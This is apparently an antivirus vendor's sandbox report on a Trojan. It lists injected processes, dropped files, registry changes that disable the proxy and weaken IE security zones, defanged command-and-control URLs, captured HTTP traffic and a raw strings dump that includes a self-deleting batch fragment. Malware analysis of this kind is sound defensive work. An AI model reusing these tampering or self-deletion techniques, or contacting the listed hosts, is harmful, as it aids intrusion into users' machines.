Trojan.Generic.14953208_ea5e8e122e – Adaware

Dynamic Analysis

Payload

Behaviour	Description
EmailWorm	Worm can send e-mails.

Process activity

The Trojan creates the following process(es):

ea5e8e122e9a8c0c50bdc8049aecbf3fSrv.exe:228

The Trojan injects its code into the following process(es):

%original file name%.exe:860
iexplore.exe:816

Mutexes

The following mutexes were created/opened:

ZonesLockedCacheCounterMutexZonesCounterMutexZonesCacheCounterMutexWininetProxyRegistryMutexWininetConnectionMutexWininetStartupMutexc:!documents and settings!adm!local settings!history!history.ie5!c:!documents and settings!adm!cookies!c:!documents and settings!adm!local settings!temporary internet files!content.ie5!_!MSFTHISTORY!_ShimCacheMutexRasPbFile

File activity

The process ea5e8e122e9a8c0c50bdc8049aecbf3fSrv.exe:228 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\Microsoft\DesktopLayer.exe (56 bytes)

The Trojan deletes the following file(s):

%Program Files%\Microsoft\px1.tmp (0 bytes)

The process %original file name%.exe:860 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
C:\ea5e8e122e9a8c0c50bdc8049aecbf3fSrv.exe (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GPQ9GHM7\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\41A50LC7\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@lofter[2].txt (497 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@lofter[1].txt (312 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (788 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\A5GV0H83\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\41A50LC7\kyn0001.lofter[1].htm (3659 bytes)
%WinDir%\empty.exe (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\QN6PGLC3\desktop.ini (67 bytes)
C:\soft5200.txt (1 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Cookies\Current_User@lofter[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\41A50LC7\kyn0001.lofter[1].htm (0 bytes)

Registry activity

The process %original file name%.exe:860 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "34 E3 60 F1 8A C6 D2 8C 8A 20 23 86 B5 A4 89 D4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5	File path
522ef4393901997234b89967cac26919	c:\ea5e8e122e9a8c0c50bdc8049aecbf3fSrv.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
ea5e8e122e9a8c0c50bdc8049aecbf3fSrv.exe:228
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Program Files%\Microsoft\DesktopLayer.exe (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
C:\ea5e8e122e9a8c0c50bdc8049aecbf3fSrv.exe (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GPQ9GHM7\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\41A50LC7\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@lofter[2].txt (497 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@lofter[1].txt (312 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (788 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\A5GV0H83\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\41A50LC7\kyn0001.lofter[1].htm (3659 bytes)
%WinDir%\empty.exe (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\QN6PGLC3\desktop.ini (67 bytes)
C:\soft5200.txt (1 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: ?????
Product Name: 2015??????????
Product Version: 1.0.0.1
Legal Copyright: ????? ????
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 1.0.0.1
File Description: ???????????????????
Comments: ???
Language: English (United States)

Company Name: ?????Product Name: 2015??????????Product Version: 1.0.0.1Legal Copyright: ????? ????Legal Trademarks: Original Filename: Internal Name: File Version: 1.0.0.1File Description: ???????????????????Comments: ???Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	2015232	525824	5.5448	8c8d8077ecb248e52b1b8a03500ee2b2
.rdata	2019328	851968	451072	5.54436	8ffcbae43a8b7e9105b9a7739b17981c
.data	2871296	589824	44032	5.53892	2c4f3c461a92b04598b2419e94ac03c0
.rsrc	3461120	45056	15360	4.97661	b1f65b737f881b931bc94353caae3a66
.rmnet	3506176	61440	56832	5.53805	d1572a3cdce0c191a6b7101639ff41f3
.52pojie	3567616	20480	16896	4.11239	d5c7d5dd809e6cfc47071ea057a433ac
.adata	3588096	4096	0	0	d41d8cd98f00b204e9800998ecf8427e

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://cnt-pc.com/a/tg/soft5200.txt	115.239.230.111
hxxp://kyn0001.lofter.com/	115.238.126.133
google.com	173.194.113.197

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /a/tg/soft5200.txt HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

Accept: */*

Host: cnt-pc.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Content-Length: 1134

Content-Type: text/plain

Content-Location: hXXp://cnt-pc.com/a/tg/soft5200.txt

Last-Modified: Sat, 12 Sep 2015 09:32:21 GMT

Accept-Ranges: bytes

ETag: "a6a8f3ec3dedd01:58f"

Server: IIS

X-Powered-By: WAF/2.0

Date: Mon, 12 Oct 2015 00:39:10 GMT

..........3.2............hXXps://kanbox.com/f/V10e4............hXXp://share.weiyun.com/7ac85f16ae7093c7c3ac89a4112def45......QQ.. 23313711..................hXXp://8.e-520.cn/category/831997F8BA8C91CC..................hXXp://8.e-520.cn/product/5D68771E55AE9CA4..VIP................hXXp://8.e-520.cn/product/13F41E34185A474B..................hXXp://8.e-520.cn/product/63E73EA7570E7CA8..................s..........................cf........................................hXXp://share.weiyun.com/7ac85f16ae7093c7c3ac89a4112def45..........................cf........................................hXXp://share.weiyun.com/7ac85f16ae7093c7c3ac89a4112def45............1..........2.0..............................................................................[......QQ..23313711]........add..........2............................GP..................[......QQ..23313711]..............................add..........3........!/fn ................................,..........................,..........................,........CF......,[......QQ..23313711]......AK47....,......:add..../////////////////////////////////////////by lanyeHTTP/1.1 200 OK..Content-Length: 1134..Content-Type: text/plain..Content-Location: hXXp://cnt-pc.com/a/tg/soft5200.txt..Last-Modified: Sat, 12 Sep 2015 09:32:21 GMT..Accept-Ranges: bytes..ETag: "a6a8f3ec3dedd01:58f"..Server: IIS..X-Powered-By: WAF/2.0..Date: Mon, 12 Oct 2015 00:39:10 GMT............3.2............hXXps://kanbox.com/f/V10e4............hXXp://share.weiyun.com/7ac85f16ae7093c7c3ac89a4112def45.....

<<< skipped >>>

GET / HTTP/1.1

Accept: */*

Referer: hXXp://kyn0001.lofter.com/

Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: kyn0001.lofter.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 12 Oct 2015 00:39:11 GMT

Content-Type: text/html;charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Set-Cookie: NTESLOFTSI=60408013F93F5378234C0F07A6F2C6E8.classa-lofter2-8010; Domain=.VVV.lofter.com; Path=/

Set-Cookie: firstentry=/blogindex.do?loftBlogName=kyn0001&X-From-ISP=2|http://kyn0001.lofter.com/; Domain=.lofter.com; Expires=Tue, 13-Oct-2015 00:39:11 GMT; Path=/

Set-Cookie: usertrack=c 5 hVYbAS9Zax7fIbgkAg==; expires=Tue, 11-Oct-16 00:39:11 GMT; domain=lofter.com; path=/

P3P: policyref="/w3c/p3p.xml", CP="CUR ADM OUR NOR STA NID"

464..<!DOCTYPE html>..<html>..<head>.<link media='screen' type='text/css' rel='stylesheet' href='hXXp://l.bst.126.net/rsc/js/pagelayer/pagelayer.css?0011'/><script type='text/javascript' src='hXXp://l.bst.126.net/rsc/js/pagelayer/pagelayer.js?0011'></script>..<meta name="themename" content="29002"/>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />..<title>kyn0001</title>..<link rel="shortcut icon" href="hXXp://VVV.lofter.com/favicon.ico">..<link rel="alternate" type="application/rss xml" href="hXXp://kyn0001.lofter.com/rss">..<meta name="Keywords" content="kyn0001"/>..<meta name="Description" content="kyn0001 - "/>..<meta name="image:Logo" content=""/>..<meta name="image:......" content="hXXp://img.ph.126.net/q9THNZMtmXAXULGwntGQ-g==/5629503932259639055.png"/>..<meta name="color:......" content="#dfdfe1"/>..<meta name="color:......" content="#828d95"/>..<meta name="if:............" content="1"/>..<meta name="if:.................." content="0"/>..<meta name="group1:" content="......750#......750|......850|......1000"/>..<meta name="group2:" content="...#......|......|.........|.........|..5a8........|.........|..."/>..<link href='hXXp://lofter.ph.126.net/Zk358Gd6qOMQJPvC6QDCiQ==/5629533619073584608.css' rel="stylesheet" type="text/css" />..<style>..a, a:hover, .day{color:#828d95;}...sidelist{min-width:535px;}...sidelist li a, .tag a, .active{backgro

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_860:

.text

`.rdata

@.data

.rsrc

.rmnet

.adata

t$(SSh

~%UVW

u$SShe

user32.dll

gdiplus.dll

kernel32.dll

wininet.dll

atl.dll

ole32.dll

ws2_32.dll

gdi32.dll

shlwapi.dll

msimg32.dll

comctl32.dll

COMCTL32.DLL

GdiPlus.dll

Gdiplus.dll

MsgWaitForMultipleObjects

HttpOpenRequestA

HttpSendRequestA

HttpQueryInfoA

GdiplusShutdown

GdipSetPenLineJoin

GdipGetPenLineJoin

GdipSetStringFormatHotkeyPrefix

GdipGetStringFormatHotkeyPrefix

{B6F7542F-B8FE-46a8-9605-98856A687097}

{E5000198-4471-40e2-92BC-D0BA075BDBB2}

WebBrowser

crossfire.exe

\ESPI11.dll

.inidata

@.reloc

CNotSupportedException

CCmdTarget

commctrl_DragListMsg

__MSVCRT_HEAP_SELECT

KERNEL32.dll

USER32.dll

RegCloseKey

RegOpenKeyExA

ADVAPI32.dll

WS2_32.dll

COMCTL32.dll

GetCPInfo

UnhookWindowsHookEx

SetWindowsHookExA

GetKeyState

SetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

ScaleViewportExtEx

GDI32.dll

WINSPOOL.DRV

comdlg32.dll

SHELL32.dll

SWNPM.dll

.PAVCException@@

.PAVCArchiveException@@

.PAVCObject@@

.PAVCSimpleException@@

.PAVCMemoryException@@

.?AVCNotSupportedException@@

.?AVCCmdTarget@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

4"5(5,50545

8!8/878=8

3"32383|3"4

2 3=3Q3^3h3r3z3

4 41484[4}4

9$9(9,90989

@ping 127.0.0.1 -n

del Restart.bat

\Restart.bat

2010076001

2010075301

2010074301

2010073701

2010074402

2010074504

2010069201

2010069504

2010069604

2010069704

2010069804

1000004201

2010065804

2010065904

2010066304

2010061601

hXXp://t.cn/R7DttMJ

/card.php

https

Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

http=

HTTP/1.1

Content-Type: application/x-www-form-urlencoded

hXXps://

hXXp://

hXXp://users.qzone.qq.com/fcg-bin/cgi_get_portrait.fcg?uins=

&spec=100&url_enc=0&referer=bu_interface&term_type=PC

hXXp://q2.qlogo.cn/headimg_dl?bs=

/go.php?u=h

/tg.php?u=

/reg.php?m=alert

&callback=jsonpshorturl123

hXXp://api.t.sina.com.cn/short_url/shorten.json?source=1681459862&url_long=http://

url_short":"

hXXp://VVV.rdcnzz.com/v1/data/link_conv/rd_dispatcher.php?orig_link=

c:/soft5200.txt

hXXp://cnt-pc.com/a

/soft5200.txt

hXXp://kyn0001.lofter.com/

2010057101

2010053601

2010044501

2010044601

2010037901

2010038001

2010042601

2010053701

2010042701

2010040701

2010049501

2010058801

2010024104

2010013804

2010013304

2010014304

2010009504

2010018404

2010014204

2010042204

2010010404

2010008504

2010014104

2010046301

2010046401

2010016303

2010016404

2010035303

2010012204

2010023004

2010015504

2010019202

2010015604

2010019402

2010019302

2010039701

2010039601

2010039401

2010039301

2010027102

2010027002

2010007104

2010012104

2010012803

2010012903

2010012703

2010013104

2010009904

2010010004

2010010104

2010006104

2010006204

2010006304

2010008404

1000001101

1000001301

1000001501

1000001201

2010028102

2010018904

2010037201

2010037101

2010014704

2010014401

2010018803

2010036001

1000003403

1000000901

1000001401

1000000501

1000000701

1000000804

1000001001

1000002001

1000002103

1000002201

1000002703

1000002903

1000003003

1000003103

1000003203

2010035504

2010008104

2010010704

2010007504

2010044804

2010037701

2010041801

2010011104

2010022602

2010056103

2010029504

2010044904

2010031004

2010028904

2010026704

2010042304

2010015404

2010009304

2010034304

2010047704

2010054304

2010054001

2010053901

2010054101

2010054604

2010029701

2010006004

2010051105

hXXp://cf.qq.com/act/a20090409forceout/

----549854

----546547

----849854

----498115

----561512

----153235

----569351

----456465

----748633

----889124

----754123

----765155

----498432

----789542

----646611

----695897

----624019

----680923

----682083

----645796

----685455

----607351

----649044

----665180

----683671

----697282

----644612

----608603

----609312

----696385

----666407

----624158

----665591

----667384

----660047

----667402

----615429

----611248

----660108

----691572

----677729

----691221

----633574

----695678

----657141

----621020

----684338

----605655

----645170

----636479

----616145

----672740

----679353

----626752

----635586

----679898

----682880

----634830

----642142

----608943

----624665

----633884

----662975

----684314

----685963

----648832

----659805

----664445

----611906

----657055

----653414

----695189

----653094

----657687

----614809

----698877

----669735

----669076

----633768

----655148

----670974

----696699

----638383

----603898

----623805

----669377

----682461

----613254

546547|hXXps://img.alicdn.com/imgextra/i4/379203834/TB2PkZ.eXXXXXaZXXXXXXXXXXXX_!!379203834.jpg

549854|hXXps://img.alicdn.com/imgextra/i4/379203834/TB2d98OcVXXXXamXXXXXXXXXXXX_!!379203834.jpg

849854|hXXps://img.alicdn.com/imgextra/i4/379203834/TB2gE8LcVXXXXa6XXXXXXXXXXXX_!!379203834.jpg

498115|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2lmf3cpXXXXaAXXXXXXXXXXXX_!!379203834.jpg

561512|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2x_Y4cpXXXXX_XXXXXXXXXXXX_!!379203834.jpg

153235|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2D4_WcpXXXXXfXpXXXXXXXXXX_!!379203834.jpg

569351|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2N9z5cpXXXXXBXXXXXXXXXXXX_!!379203834.jpg

789542|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2mg70bpXXXXXoXpXXXXXXXXXX_!!379203834.jpg

875122|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB25mIWbpXXXXa5XpXXXXXXXXXX_!!379203834.jpg

865412|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB29.MZbpXXXXaiXpXXXXXXXXXX_!!379203834.jpg

875462|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2_i31bpXXXXciXXXXXXXXXXXX_!!379203834.jpg

498432|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2q7LLbXXXXXarXXXXXXXXXXXX_!!379203834.jpg

697282|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2DDuzbXXXXXanXpXXXXXXXXXX_!!379203834.jpg

696699|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2LaOEbXXXXXc7XXXXXXXXXXXX_!!379203834.jpg

696385|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2ruOKbXXXXXbWXpXXXXXXXXXX_!!379203834.jpg

696103|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2udiFbXXXXXcHXXXXXXXXXXXX_!!379203834.jpg

695897|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2CmaEbXXXXXc4XXXXXXXXXXXX_!!379203834.jpg

695189|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2LhKBbXXXXXXsXpXXXXXXXXXX_!!379203834.jpg

695678|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2S65FbXXXXXctXXXXXXXXXXXX_!!379203834.jpg

694688|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2MJuIbXXXXXaFXXXXXXXXXXXX_!!379203834.jpg

694645|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2SGGBbXXXXXX0XpXXXXXXXXXX_!!379203834.jpg

691572|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2WeuBbXXXXXalXpXXXXXXXXXX_!!379203834.jpg

691221|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2WpOBbXXXXXXQXpXXXXXXXXXX_!!379203834.jpg

685963|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB20PSAbXXXXXX.XpXXXXXXXXXX_!!379203834.jpg

690899|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2_MWEbXXXXXXfXpXXXXXXXXXX_!!379203834.jpg

685455|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2W9KFbXXXXXczXXXXXXXXXXXX_!!379203834.jpg

684338|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2.oqHbXXXXXaRXXXXXXXXXXXX_!!379203834.jpg

684314|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2uhqKbXXXXXX4XXXXXXXXXXXX_!!379203834.jpg

683671|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2xvyzbXXXXXaFXpXXXXXXXXXX_!!379203834.jpg

682880|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2SC5JbXXXXXXxXXXXXXXXXXXX_!!379203834.jpg

682461|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2eVGHbXXXXXbwXXXXXXXXXXXX_!!379203834.jpg

682083|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2gwGFbXXXXXcpXXXXXXXXXXXX_!!379203834.jpg

680923|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2JtyHbXXXXXbOXXXXXXXXXXXX_!!379203834.jpg

679898|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB24duFbXXXXXcGXXXXXXXXXXXX_!!379203834.jpg

679353|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB20vKBbXXXXXXJXpXXXXXXXXXX_!!379203834.jpg

677729|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2pqCybXXXXXaMXpXXXXXXXXXX_!!379203834.jpg

673450|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2EvKGbXXXXXcvXXXXXXXXXXXX_!!379203834.jpg

672740|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2PQmFbXXXXXcEXXXXXXXXXXXX_!!379203834.jpg

670974|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2D_qFbXXXXXcsXXXXXXXXXXXX_!!379203834.jpg

669735|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2qhmzbXXXXXadXpXXXXXXXXXX_!!379203834.jpg

669377|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2c2yJbXXXXXXQXXXXXXXXXXXX_!!379203834.jpg

669076|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2fGSGbXXXXXbLXXXXXXXXXXXX_!!379203834.jpg

667402|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2JB1BbXXXXXXeXpXXXXXXXXXX_!!379203834.jpg

667384|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2dF1BbXXXXXXYXpXXXXXXXXXX_!!379203834.jpg

666407|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2V9mzbXXXXXajXpXXXXXXXXXX_!!379203834.jpg

665591|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2RvezbXXXXXaQXpXXXXXXXXXX_!!379203834.jpg

665180|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2ceKDbXXXXXXmXpXXXXXXXXXX_!!379203834.jpg

664445|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2hySBbXXXXXXiXpXXXXXXXXXX_!!379203834.jpg

662975|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB22waIbXXXXXaqXXXXXXXXXXXX_!!379203834.jpg

660108|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2a0iBbXXXXXXIXpXXXXXXXXXX_!!379203834.jpg

660047|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2Vb1IbXXXXXaEXXXXXXXXXXXX_!!379203834.jpg

659805|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2voeEbXXXXXc7XXXXXXXXXXXX_!!379203834.jpg

659278|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2YGuFbXXXXXcTXXXXXXXXXXXX_!!379203834.jpg

657141|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2Kk5CbXXXXXXhXpXXXXXXXXXX_!!379203834.jpg

657687|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB26faKbXXXXXXeXXXXXXXXXXXX_!!379203834.jpg

657055|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2G89EbXXXXXXsXpXXXXXXXXXX_!!379203834.jpg

655148|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2Lh9EbXXXXXcMXXXXXXXXXXXX_!!379203834.jpg

653541|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2xbyCbXXXXXXFXpXXXXXXXXXX_!!379203834.jpg

653414|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2DoOAbXXXXXXQXpXXXXXXXXXX_!!379203834.jpg

653318|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB23diJbXXXXXXYXXXXXXXXXXXX_!!379203834.jpg

653094|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2AiGAbXXXXXXZXpXXXXXXXXXX_!!379203834.jpg

649044|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2o7mHbXXXXXbdXXXXXXXXXXXX_!!379203834.jpg

648832|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2G2mybXXXXXbtXpXXXXXXXXXX_!!379203834.jpg

646611|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2D8OIbXXXXXafXXXXXXXXXXXX_!!379203834.jpg

645796|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2a.yxbXXXXXbfXpXXXXXXXXXX_!!379203834.jpg

644612|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2IlazbXXXXXa4XpXXXXXXXXXX_!!379203834.jpg

645170|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2vBOBbXXXXXXvXpXXXXXXXXXX_!!379203834.jpg

642142|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2gp5CbXXXXXXsXpXXXXXXXXXX_!!379203834.jpg

640023|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2ym9BbXXXXXXoXpXXXXXXXXXX_!!379203834.jpg

638383|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2YRiFbXXXXXb2XXXXXXXXXXXX_!!379203834.jpg

636479|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2yY5FbXXXXXcPXXXXXXXXXXXX_!!379203834.jpg

636685|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2cZCIbXXXXXatXXXXXXXXXXXX_!!379203834.jpg

635647|hXXp://img02.taobaocdn.com/imgextra/i2/379203834/TB2a7CCbXXXXXXcXpXXXXXXXXXX_!!379203834.jpg

635586|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2xWeDbXXXXXc3XXXXXXXXXXXX_!!379203834.jpg

634830|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2vFmKbXXXXXXrXXXXXXXXXXXX_!!379203834.jpg

634258|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2rMiGbXXXXXb1XXXXXXXXXXXX_!!379203834.jpg

633884|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2obSFbXXXXXcIXXXXXXXXXXXX_!!379203834.jpg

633768|hXXp://img03.taobaocdn.com/imgextra/i3/379203834/TB2PFCKbXXXXXaDXpXXXXXXXXXX_!!379203834.jpg

626752|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2fsuEbXXXXXcNXXXXXXXXXXXX_!!379203834.jpg

633574|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2XNWHbXXXXXbhXXXXXXXXXXXX_!!379203834.jpg

625780|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2apqJbXXXXXX6XXXXXXXXXXXX_!!379203834.jpg

625727|hXXp://img01.taobaocdn.com/imgextra/i1/379203834/TB2OVGJbXXXXXX2XXXXXXXXXXXX_!!379203834.jpg

624665|hXXp://img04.taobaocdn.com/imgextra/i4/379203834/TB2rgGKbXXXXXXcXXXXXXXXXXXX_!!379203834.jpg

